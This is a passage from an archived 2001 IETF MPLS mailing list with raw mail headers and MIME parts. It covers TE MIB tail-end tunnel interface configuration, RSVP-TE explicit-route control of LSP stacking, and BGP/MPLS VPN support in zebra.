MIB tables should I use and how?. I can easily come up with some =
proprietary scheme to do this but I would like to see some "standard" =
usage guidelines. Again, given that the TE MIB seems to be taking on the =
responsibility of creating tunnel interfaces I would like a "standard" =
way of doing it on the tail-end to be documented in the mpls-te-mib =
specification.
    =20
    Thanks
    =20
    =20

            --Tom





    =
------------------------------------------------------------------------
    Mathematics is the supreme nostalgia of our time.=20

------=_NextPart_000_01F8_01C1612C.086D9860
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3019.2500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DCourier size=3D2>Guys,</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DCourier size=3D2>Before banging on the TE-MIB much =
more, apply=20
yourselves to Tom's question...</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DCourier size=3D2>How is this signaled?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DCourier size=3D2>The TE MIB can only handle two=20
things...</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DCourier size=3D2>- local configuration (e.g. head end=20
ifIndex)</FONT></DIV>
<DIV><FONT face=3DCourier size=3D2>- protocol elements (i.e. things that =
will be=20
signaled)</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DCourier size=3D2>Note that the Unnumbered Interface =
signaling=20
drafts add the concept of signaling the Unnumbered Interface Id by which =
the=20
tunnel is known if it is represented as an unnumbered interface.&nbsp; =
This is=20
being added to the GMPLS version of the TE MIB (due out any time=20
soon).</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DCourier size=3D2>I'm sure that just as soon as it is =
agreed how to=20
signal the tail end ifIndex for tunnels that appear as numbered =
interfaces, Tom=20
will be happy to add this to the TE MIB.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DCourier size=3D2>Adrian</FONT></DIV>
<DIV><FONT face=3DCourier size=3D2>--<BR>Adrian Farrel<BR>Movaz Networks =

Inc.<BR>Tel: 703-847-1867<BR><A=20
href=3D"mailto:afarrel@movaz.com">afarrel@movaz.com</A></FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A href=3D"mailto:Patrick.Dominic-Savio@marconi.com"=20
  title=3DPatrick.Dominic-Savio@marconi.com>Dominic-Savio, Patrick</A> =
</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A =
href=3D"mailto:tnadeau@cisco.com"=20
  title=3Dtnadeau@cisco.com>'Thomas Nadeau'</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Cc:</B> <A =
href=3D"mailto:'mpls@uu.net'"=20
  title=3Dmpls@UU.NET>'mpls@uu.net'</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Tuesday, October 30, 2001 =
10:07=20
  AM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> RE: Question on tunnel =
Interface=20
  (w.r.t TE MIB)</DIV>
  <DIV><BR></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D149145314-30102001>Please scroll to the =
end...</SPAN></FONT></DIV>
  <BLOCKQUOTE=20
  style=3D"BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; =
PADDING-LEFT: 5px">
    <DIV align=3Dleft class=3DOutlookMessageHeader dir=3Dltr><FONT =
face=3DTahoma=20
    size=3D2>-----Original Message-----<BR><B>From:</B> Thomas Nadeau =
[<A=20
    =
href=3D"mailto:tnadeau@cisco.com">mailto:tnadeau@cisco.com</A>]<BR><B>Sen=
t:</B>=20
    Monday, October 29, 2001 7:11 PM<BR><B>To:</B> Dominic-Savio,=20
    Patrick<BR><B>Cc:</B> <A=20
    href=3D"mailto:'mpls@uu.net'">'mpls@uu.net'</A><BR><B>Subject:</B> =
RE:=20
    Question on tunnel Interface (w.r.t TE =
MIB)<BR><BR></FONT></DIV><FONT=20
    size=3D3><BR>
    <BLOCKQUOTE type=3D"cite"=20
      =
cite=3D""><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>=
Most=20
      if not all MPLS implementations that I know of only require the=20
      operator<BR>to configure the tunnel at the head end. </FONT><FONT=20
      color=3D#0000ff face=3Darial size=3D2></FONT><FONT=20
      size=3D3><BR>&nbsp;<BR></FONT><FONT color=3D#ff0000 face=3Darial =
size=3D2>But, if=20
      you want to treat a tunnel as a real interface (and assign IP =
addresses=20
      etc. to it at both ends)=20
    =
</FONT></BLOCKQUOTE><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;</X-TAB>I=20
    would categorize the use of a single interface as a "real"=20
    interface<BR>configuration as well.<BR><BR>
    <BLOCKQUOTE type=3D"cite" cite=3D""><FONT color=3D#ff0000 =
face=3Darial size=3D2>you=20
      will have to have interface configuration at both the head and =
tail ends.=20
      =
</FONT></BLOCKQUOTE><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;</X-TAB>That=20
    is possible using the existing MIB. I think that we have<BR>violent=20
    agreement on this point.<BR><BR>
    <BLOCKQUOTE type=3D"cite" cite=3D""><FONT color=3D#ff0000 =
face=3Darial size=3D2>If=20
      you don't have a tail end interface configuration the only reason =
to use=20
      tunnel interfaces is probably to make the tunnel *look* like an =
interface=20
      on the head end router. This however means that you are treating =
it as an=20
      interface on one side and treating it as a simple terminating =
tunnel on=20
      the other side. This seems=20
      =
anomalous.<X-TAB>&nbsp;&nbsp;&nbsp;</X-TAB></FONT></BLOCKQUOTE><BR><X-TAB=
>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>I=20
    guess that you are entitled to your opinion. My customers<BR>don't =
think=20
    that this approach is so anomalous.<BR><BR>
    <BLOCKQUOTE type=3D"cite" cite=3D""><FONT size=3D3>&nbsp;If your =
implementation=20
      wishes to create an<BR>interface for the tail end of the tunnel, =
it can do=20
      this based on the acceptance of<BR>an RSVP-TE session at the tail =
point,=20
      or via manual configuration. However, making <BR>this ifIndex =
consistent=20
      with the one at the head automatically is something that I think =
you=20
      <BR>will have to do manually.</FONT><FONT color=3D#0000ff =
face=3Darial size=3D2>=20
      </FONT><FONT size=3D3><BR>&nbsp;<BR></FONT><FONT color=3D#ff0000 =
face=3Darial=20
      size=3D2>I think you misunderstood, the actual value of the =
ifIndex is of no=20
      consequence, <BR>you just have to have a corresponding interface =
at the=20
      other end.</FONT><FONT size=3D3> </FONT></BLOCKQUOTE>
    =
<DIV><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>O=
kay,=20
    so what is the problem then? 8)<SPAN =
class=3D149145314-30102001><FONT=20
    color=3D#0000ff face=3DArial size=3D2>&nbsp;</FONT></SPAN></DIV>
    <DIV><SPAN class=3D149145314-30102001></SPAN>&nbsp;</DIV>
    <DIV><SPAN class=3D149145314-30102001><FONT color=3D#0000ff =
face=3DArial=20
    size=3D2>The problem is that the TE MIB does not provide *complete*=20
    configuration support for setting up of a "corresponding" tail-end =
tunnel=20
    interface. On the head-end it provides all of the required =
configuration=20
    parameters (isIf, name)&nbsp;and on the tail-end it provides some =
(isIf,=20
    name) but not all (you would at least need the head-end tunnel index =
to be=20
    specified at the tail-end).</FONT></SPAN></DIV>
    <DIV><SPAN class=3D149145314-30102001><FONT color=3D#0000ff =
face=3DArial=20
    size=3D2>Let me try the question again&nbsp;in case my=20
    earlier&nbsp;questions&nbsp;were not clear.</FONT></SPAN></DIV>
    <DIV><SPAN class=3D149145314-30102001><FONT color=3D#0000ff =
face=3DArial size=3D2>If=20
    I create a tunnel&nbsp; interface on a head-end router and would =
like to=20
    create a corresponding tail-end tunnel interface on the tail-end =
router, how=20
    do I do this using the TE MIB. I would like to see a complete =
solution using=20
    just the TE MIB (because it attempts to solve the problem on the =
head-end),=20
    if this is not possible then what other MIB tables should I use and =
how?. I=20
    can easily come up with some proprietary scheme to do this but I =
would like=20
    to see some "standard" usage guidelines. Again, given that the TE =
MIB seems=20
    to be taking on the responsibility of creating tunnel interfaces I =
would=20
    like a "standard" way of doing it on the tail-end to be documented =
in the=20
    mpls-te-mib specification.</FONT></SPAN></DIV>
    <DIV><SPAN class=3D149145314-30102001><FONT color=3D#0000ff =
face=3DArial=20
    size=3D2></FONT></SPAN>&nbsp;</DIV>
    <DIV><SPAN class=3D149145314-30102001><FONT color=3D#0000ff =
face=3DArial=20
    size=3D2>Thanks</FONT></SPAN></DIV>
    <DIV><SPAN class=3D149145314-30102001><FONT color=3D#0000ff =
face=3DArial=20
    size=3D2></FONT></SPAN>&nbsp;</DIV>
    <DIV><SPAN=20
    =
class=3D149145314-30102001>&nbsp;</SPAN><BR><BR><X-TAB>&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>--Tom<BR><BR><BR><BR><BR></DIV>
    =
<DIV>--------------------------------------------------------------------=
----</DIV>Mathematics=20
    is the supreme nostalgia of our time. =
</BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_01F8_01C1612C.086D9860--



From owner-mpls@UU.NET  Tue Oct 30 10:27:27 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA03918
	for <mpls-archive@lists.ietf.org>; Tue, 30 Oct 2001 10:27:27 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmzl03187;
	Tue, 30 Oct 2001 15:27:47 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmzl19292
	for mpls-outgoing; Tue, 30 Oct 2001 15:27:10 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlmzl19287
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 30 Oct 2001 15:27:08 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmzl18439
	for <mpls@uu.net>; Tue, 30 Oct 2001 15:26:19 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmzl01503
	for <mpls@uu.net>; Tue, 30 Oct 2001 15:26:39 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id KAA26774 for <mpls@uu.net>; Tue, 30 Oct 2001 10:26:18 -0500 (EST)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id KAA16594 for mpls@uu.net; Tue, 30 Oct 2001 10:26:18 -0500 (EST)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlmxg19476
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 30 Oct 2001 01:12:58 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmxg18604
	for <mpls@uu.net>; Tue, 30 Oct 2001 01:12:49 GMT
Received: from smtp-a.capu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: smtp-a.capu.net [64.50.133.50])
	id QQlmxg16248
	for <mpls@uu.net>; Tue, 30 Oct 2001 01:12:38 GMT
Received: from OSAMA (cd-148-68.ra30.dc.capu.net [64.50.148.68])
	by smtp-a.capu.net (8.9.3/8.9.3) with SMTP id UAA09824
	for <mpls@uu.net>; Mon, 29 Oct 2001 20:12:48 -0500
Reply-To: <ofarrag@geumnetworks.com>
From: "Osama Farrag" <ofarrag@geumnetworks.com>
To: <mpls@UU.NET>
Subject: Using RSVP-TE signaling with ERO for controlling LSP stacking and splicing from the ingress LER
Date: Mon, 29 Oct 2001 20:12:05 -0500
Message-ID: <PKEBKMIBMHKBMPOAJFCNIEIPCEAA.ofarrag@geumnetworks.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit


I have question/comment regarding the draft RSVP-TE: Extensions to RSVP for
LSP Tunnels "draft-ietf-mpls-rsvp-lsp-tunnel-09.txt"

My question/comment in regarding to sharing resources, splicing and
stacking.

"In CR-LDP, using Explicit route object, the LSPID can be used to identify
the tunnel ingress point as the next hop in the ER. This ER-Hop allows for
stacking new CR-LSPs within an already established CR-LSP. It also allows
for splicing the CR-LSP being established with an existing CR-LSP."


It seems that this capability is missing in RSVP-TE. To be more accurate,
Splicing and stacking may occur but it can't be explicitly controlled by the
ingress LSR using PATH message during establishment of an LSP. Explicit
route control from ingress LER is extermly desired to allow full control on
utilization of network capacity. There are cases where shortest path may not
be the best path.

Currently, In RSVP-TE the receiver determines the "reservation style" of an
LSP; I don't think there is a way for ingress LER to signal a desired
reservation style.

Further more; RSVP-TE does not seem to provide mechanism to allow ingress
LER to leverage A traffic engineered tunnel to steer traffic through it
using ERO.

Is there a means to achieve the same objective using RSVP-TE signaling? if
not, any reasons why the authors choose not to add "Tunnel ID+LSP ID" as a
valid ERO?


Kind Regards
O. Farrag






From owner-mpls@UU.NET  Tue Oct 30 10:28:15 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA03937
	for <mpls-archive@lists.ietf.org>; Tue, 30 Oct 2001 10:28:14 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmzl03170;
	Tue, 30 Oct 2001 15:28:35 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmzl19318
	for mpls-outgoing; Tue, 30 Oct 2001 15:27:46 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlmzl19313
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 30 Oct 2001 15:27:42 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmzl18215
	for <mpls@uu.net>; Tue, 30 Oct 2001 15:26:58 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmzl02488
	for <mpls@uu.net>; Tue, 30 Oct 2001 15:27:17 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id KAA26901 for <mpls@uu.net>; Tue, 30 Oct 2001 10:26:57 -0500 (EST)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id KAA16600 for mpls@uu.net; Tue, 30 Oct 2001 10:26:57 -0500 (EST)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlmya07324
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 30 Oct 2001 06:05:07 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmya04523
	for <mpls@uu.net>; Tue, 30 Oct 2001 06:04:24 GMT
Received: from samar.sasken.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: samar.sasken.com [164.164.56.2])
	id QQlmya12929
	for <mpls@uu.net>; Tue, 30 Oct 2001 06:04:39 GMT
Received: from samar (localhost [127.0.0.1])
	by samar.sasken.com (8.11.3/8.11.3) with SMTP id f9U64FF06509;
	Tue, 30 Oct 2001 11:34:15 +0530 (IST)
Received: from aguru (pcsvb229.sasken.com [10.1.66.229])
	by sunsv2.sasken.com (8.9.3/8.9.3) with SMTP id LAA27422;
	Tue, 30 Oct 2001 11:34:12 +0530 (IST)
Message-ID: <001201c16108$ab48eb80$e542010a@sasken.com>
From: "Guru Pradeep Achutha" <aguru@sasken.com>
To: <zebra@zebra.org>
Cc: <mpls@UU.NET>
Subject: BGP/MPLS VPNs
Date: Tue, 30 Oct 2001 11:34:00 +0530
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_000F_01C16136.C4F05EA0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Sender: owner-mpls@UU.NET
Precedence: bulk


This is a multi-part message in MIME format.

------=_NextPart_000_000F_01C16136.C4F05EA0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi All,

While browsing through the source code of zebra (in partcular bgp code) =
we found references to MPLS/VPNs. Can someone please clarify if BGP/MPLS =
VPNs as defined in RFC 2547 or Draft rfc2547bis has been implemented in =
zebra ?

Thanks & Regards,

-Guru

------=_NextPart_000_000F_01C16136.C4F05EA0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi All,</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><FONT face=3DArial size=3D2>While =
browsing through the=20
source code of zebra (in partcular bgp code) we found references to=20
MPLS/VPNs.&nbsp;Can someone please clarify </FONT></FONT><FONT =
face=3DArial=20
size=3D2>if BGP/MPLS VPNs&nbsp;as defined in RFC 2547 or Draft =
rfc2547bis has been=20
implemented in zebra ?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks &amp; Regards,</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>-Guru</FONT></DIV></BODY></HTML>

------=_NextPart_000_000F_01C16136.C4F05EA0--



From owner-mpls@UU.NET  Tue Oct 30 10:43:22 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA04520
	for <mpls-archive@lists.ietf.org>; Tue, 30 Oct 2001 10:43:21 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmzm28957;
	Tue, 30 Oct 2001 15:43:42 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmzm20506
	for mpls-outgoing; Tue, 30 Oct 2001 15:43:07 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlmzm20501
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 30 Oct 2001 15:43:02 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmzm05752
	for <mpls@UU.NET>; Tue, 30 Oct 2001 15:42:44 GMT
Received: from mailgate.pit.comms.marconi.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlmzm27839
	for <mpls@UU.NET>; Tue, 30 Oct 2001 15:43:03 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA02663;
	Tue, 30 Oct 2001 10:42:40 -0500 (EST)
Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA01789;
	Tue, 30 Oct 2001 10:42:39 -0500 (EST)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <VJHLJ2MR>; Tue, 30 Oct 2001 10:42:36 -0500
Message-ID: <313680C9A886D511A06000204840E1CF4B84D6@whq-msgusr-02.pit.comms.marconi.com>
From: "Dominic-Savio, Patrick" <Patrick.Dominic-Savio@marconi.com>
To: "'Adrian Farrel'" <afarrel@movaz.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>
Subject: RE: Question on tunnel Interface (w.r.t TE MIB)
Date: Tue, 30 Oct 2001 10:42:26 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C16159.79FFB7B0"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C16159.79FFB7B0
Content-Type: text/plain;
	charset="iso-8859-1"

 

-----Original Message-----
From: Adrian Farrel [mailto:afarrel@movaz.com]
Sent: Tuesday, October 30, 2001 10:17 AM
To: Dominic-Savio, Patrick; 'Thomas Nadeau'
Cc: 'mpls@uu.net'
Subject: Re: Question on tunnel Interface (w.r.t TE MIB)


Guys,
 
Before banging on the TE-MIB much more, apply yourselves to Tom's
question... 
 
I wish my questions did not sound like I was "banging" the TE MIB!
Anyway, your two points below seem to pretty much sum up the scope of the
MIB and I may have erred in trying to use the MIB to accomplish more than
what it was designed for.
 
Thanks
 
How is this signaled?
 
The TE MIB can only handle two things...
 
- local configuration (e.g. head end ifIndex)
- protocol elements (i.e. things that will be signaled)
 
Note that the Unnumbered Interface signaling drafts add the concept of
signaling the Unnumbered Interface Id by which the tunnel is known if it is
represented as an unnumbered interface.  This is being added to the GMPLS
version of the TE MIB (due out any time soon).
 
I'm sure that just as soon as it is agreed how to signal the tail end
ifIndex for tunnels that appear as numbered interfaces, Tom will be happy to
add this to the TE MIB.
 
Adrian
--
Adrian Farrel
Movaz Networks Inc.
Tel: 703-847-1867
afarrel@movaz.com <mailto:afarrel@movaz.com> 

----- Original Message ----- 
From: Dominic-Savio, Patrick <mailto:Patrick.Dominic-Savio@marconi.com>  
To: 'Thomas Nadeau' <mailto:tnadeau@cisco.com>  
Cc: 'mpls@uu.net' <mailto:'mpls@uu.net'>  
Sent: Tuesday, October 30, 2001 10:07 AM
Subject: RE: Question on tunnel Interface (w.r.t TE MIB)

Please scroll to the end...

-----Original Message-----
From: Thomas Nadeau [ mailto:tnadeau@cisco.com <mailto:tnadeau@cisco.com> ]
Sent: Monday, October 29, 2001 7:11 PM
To: Dominic-Savio, Patrick
Cc: 'mpls@uu.net' <mailto:'mpls@uu.net'> 
Subject: RE: Question on tunnel Interface (w.r.t TE MIB)





        Most if not all MPLS implementations that I know of only require the
operator
to configure the tunnel at the head end. 
 
But, if you want to treat a tunnel as a real interface (and assign IP
addresses etc. to it at both ends) 


        I would categorize the use of a single interface as a "real"
interface
configuration as well.



you will have to have interface configuration at both the head and tail
ends. 


        That is possible using the existing MIB. I think that we have
violent agreement on this point.



If you don't have a tail end interface configuration the only reason to use
tunnel interfaces is probably to make the tunnel *look* like an interface on
the head end router. This however means that you are treating it as an
interface on one side and treating it as a simple terminating tunnel on the
other side. This seems anomalous.   


        I guess that you are entitled to your opinion. My customers
don't think that this approach is so anomalous.



 If your implementation wishes to create an
interface for the tail end of the tunnel, it can do this based on the
acceptance of
an RSVP-TE session at the tail point, or via manual configuration. However,
making 
this ifIndex consistent with the one at the head automatically is something
that I think you 
will have to do manually. 
 
I think you misunderstood, the actual value of the ifIndex is of no
consequence, 
you just have to have a corresponding interface at the other end. 


        Okay, so what is the problem then? 8) 
 
The problem is that the TE MIB does not provide *complete* configuration
support for setting up of a "corresponding" tail-end tunnel interface. On
the head-end it provides all of the required configuration parameters (isIf,
name) and on the tail-end it provides some (isIf, name) but not all (you
would at least need the head-end tunnel index to be specified at the
tail-end).
Let me try the question again in case my earlier questions were not clear.
If I create a tunnel  interface on a head-end router and would like to
create a corresponding tail-end tunnel interface on the tail-end router, how
do I do this using the TE MIB. I would like to see a complete solution using
just the TE MIB (because it attempts to solve the problem on the head-end),
if this is not possible then what other MIB tables should I use and how?. I
can easily come up with some proprietary scheme to do this but I would like
to see some "standard" usage guidelines. Again, given that the TE MIB seems
to be taking on the responsibility of creating tunnel interfaces I would
like a "standard" way of doing it on the tail-end to be documented in the
mpls-te-mib specification.
 
Thanks
 


        --Tom





------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time. 


------_=_NextPart_001_01C16159.79FFB7B0
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">


<META content="MSHTML 6.00.2600.0" name=GENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=#ffffff>
<DIV><FONT face=Arial color=#0000ff size=2></FONT>&nbsp;</DIV>
<BLOCKQUOTE dir=ltr 
style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px solid; MARGIN-RIGHT: 0px">
  <DIV class=OutlookMessageHeader dir=ltr align=left><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> Adrian Farrel 
  [mailto:afarrel@movaz.com]<BR><B>Sent:</B> Tuesday, October 30, 2001 10:17 
  AM<BR><B>To:</B> Dominic-Savio, Patrick; 'Thomas Nadeau'<BR><B>Cc:</B> 
  'mpls@uu.net'<BR><B>Subject:</B> Re: Question on tunnel Interface (w.r.t TE 
  MIB)<BR><BR></FONT></DIV>
  <DIV><FONT face=Courier size=2>Guys,</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=Courier><FONT size=2>Before banging on the TE-MIB much more, 
  apply yourselves to Tom's question...<SPAN class=258174015-30102001><FONT 
  face=Arial color=#0000ff>&nbsp;</FONT></SPAN></FONT></FONT></DIV>
  <DIV><FONT face=Courier><FONT size=2><SPAN 
  class=258174015-30102001></SPAN></FONT></FONT>&nbsp;</DIV>
  <DIV><FONT face=Courier><FONT size=2><SPAN class=258174015-30102001><FONT 
  face=Arial color=#0000ff>I wish my questions did not sound like I was 
  "banging" the TE MIB!</FONT></SPAN></FONT></FONT></DIV>
  <DIV><FONT face=Courier><FONT size=2><SPAN class=258174015-30102001><FONT 
  face=Arial color=#0000ff>Anyway,&nbsp;your two points below seem to pretty 
  much sum up the scope of the MIB and I may have erred in trying to use the 
  MIB&nbsp;to accomplish more than&nbsp;what it was designed 
  for.</FONT></SPAN></FONT></FONT></DIV>
  <DIV><FONT face=Courier><FONT face=Arial color=#0000ff size=2><SPAN 
  class=258174015-30102001></SPAN></FONT></FONT>&nbsp;</DIV>
  <DIV><FONT face=Courier><FONT face=Arial color=#0000ff size=2><SPAN 
  class=258174015-30102001>Thanks</SPAN></FONT></FONT></DIV>
  <DIV><FONT face=Arial color=#0000ff size=2></FONT>&nbsp;</DIV>
  <DIV><FONT face=Courier size=2>How is this signaled?</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=Courier size=2>The TE MIB can only handle two 
  things...</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=Courier size=2>- local configuration (e.g. head end 
  ifIndex)</FONT></DIV>
  <DIV><FONT face=Courier size=2>- protocol elements (i.e. things that will be 
  signaled)</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=Courier size=2>Note that the Unnumbered Interface signaling 
  drafts add the concept of signaling the Unnumbered Interface Id by which the 
